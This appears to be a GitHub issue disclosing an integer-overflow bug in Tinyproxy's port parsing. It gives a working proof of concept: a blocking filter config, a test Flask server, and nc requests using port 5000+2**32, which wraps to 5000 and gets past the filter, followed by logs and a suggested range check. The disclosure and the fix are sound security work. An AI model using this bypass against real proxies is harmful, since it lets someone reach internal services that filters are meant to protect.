Skip to content

Integer overflow in port parsing allows filter bypass #586

@rayinaw

Description

@rayinaw

Hi, I found an integer overflow in TinyProxy.

Affected version

This issue exists in the latest version

The bug

src/reqs.c
Tinyproxy parses the port with sscanf (ptr1, "%d", &port) and doesn't check ranges. This use of sscanf is vulnerable to integer overflow: if you send a port like 5000 + 2**32 = 4294972296, it overflows and wraps back to 5000.

static int strip_return_port (char *host)
{
    char *ptr1;
    char *ptr2;
    int port;

    ptr1 = strrchr (host, ':');
    if (ptr1 == NULL)
        return 0;

    /* Check for IPv6 style literals */
    ptr2 = strchr (ptr1, ']');
    if (ptr2 != NULL)
        return 0;

    *ptr1++ = '\0';
    if (sscanf (ptr1, "%d", &port) != 1)    /* one conversion required */
        return 0;
    return port;
}

Proof of Concept

1. Setup tinyproxy to block port 5000

Create filter file:

sudo tee /etc/tinyproxy/filter << EOF
127.0.0.1:5000
localhost:5000
EOF

In /etc/tinyproxy/tinyproxy.conf ensure:

Filter "/etc/tinyproxy/filter"
FilterURLs On
FilterDefaultDeny No

Restart tinyproxy: sudo systemctl restart tinyproxy

2. Create a simple Backend server running on Flask:

from flask import Flask, request, jsonify
app = Flask(__name__)

@app.route('/', defaults={'p': ''})
@app.route('/<path:p>')
def all(p):
    return jsonify({
        "host": request.headers.get("Host"),
        "path": request.path
    })

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000)

3. Send normal request - getting blocked

{
    echo "GET http://localhost:$(python3 -c "print(5000)")/ HTTP/1.1"
    echo ""
} | nc localhost 8888
HTTP/1.1 403 Filtered
Server: tinyproxy/1.11.2
Content-Type: text/html
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
<title>403 Filtered</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>

<body>

<h1>Filtered</h1>

<p>The request you made has been filtered</p>

<hr />

<p><em>Generated by <a href="https://tinyproxy.github.io/">tinyproxy</a> version 1.11.2.</em></p>

</body>

</html>

4. Bypass using integer overflow

{ 
    echo "GET http://localhost:$(python3 -c "print(5000+2**32)")/ HTTP/1.1"
    echo ""
} | nc localhost 8888
HTTP/1.1 200 OK
Via: 1.1 tinyproxy (tinyproxy/1.11.2)
Server: Werkzeug/3.1.3 Python/3.12.3
Date: Thu, 16 Oct 2025 15:18:20 GMT
Content-Type: application/json
Content-Length: 37

{"host":"localhost:5000","path":"/"}

Tinyproxy log

CONNECT   Oct 16 13:18:21.606 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/test HTTP/1.1
INFO      Oct 16 13:18:21.610 [1864]: No upstream proxy for localhost
INFO      Oct 16 13:18:21.613 [1864]: opensock: opening connection to localhost:5000
INFO      Oct 16 13:18:21.616 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT   Oct 16 13:18:21.619 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO      Oct 16 13:18:21.623 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
CONNECT   Oct 16 13:19:49.049 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT   Oct 16 13:19:49.065 [1864]: Request (file descriptor 6): GET http://localhost:5000/ HTTP/1.1
NOTICE    Oct 16 13:19:49.068 [1864]: Proxying refused on filtered url "http://localhost:5000/"
CONNECT   Oct 16 13:19:52.509 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT   Oct 16 13:19:52.524 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/test HTTP/1.1
INFO      Oct 16 13:19:52.527 [1864]: No upstream proxy for localhost
INFO      Oct 16 13:19:52.531 [1864]: opensock: opening connection to localhost:5000
INFO      Oct 16 13:19:52.535 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT   Oct 16 13:19:52.538 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO      Oct 16 13:19:52.543 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
CONNECT   Oct 16 13:20:08.258 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT   Oct 16 13:20:08.273 [1864]: Request (file descriptor 6): GET http://localhost:5000/test HTTP/1.1
NOTICE    Oct 16 13:20:08.276 [1864]: Proxying refused on filtered url "http://localhost:5000/test"
CONNECT   Oct 16 13:20:17.172 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT   Oct 16 13:20:17.188 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/ HTTP/1.1
INFO      Oct 16 13:20:17.192 [1864]: No upstream proxy for localhost
INFO      Oct 16 13:20:17.195 [1864]: opensock: opening connection to localhost:5000
INFO      Oct 16 13:20:17.198 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT   Oct 16 13:20:17.201 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO      Oct 16 13:20:17.205 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)

Impact

This is a high-impact bug with low effort to exploit:

  • Security Bypass: Allows attackers to completely bypass security controls and filter rules that depend on the host and port matching (e.g., denying access to internal services like admin panels, sensitive APIs, or specific application ports).
  • Privilege Escalation: In environments where TinyProxy acts as a gateway, this can enable unauthorized access to backend systems.

Remediation

Add explicit port range validation before use (1-65535).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions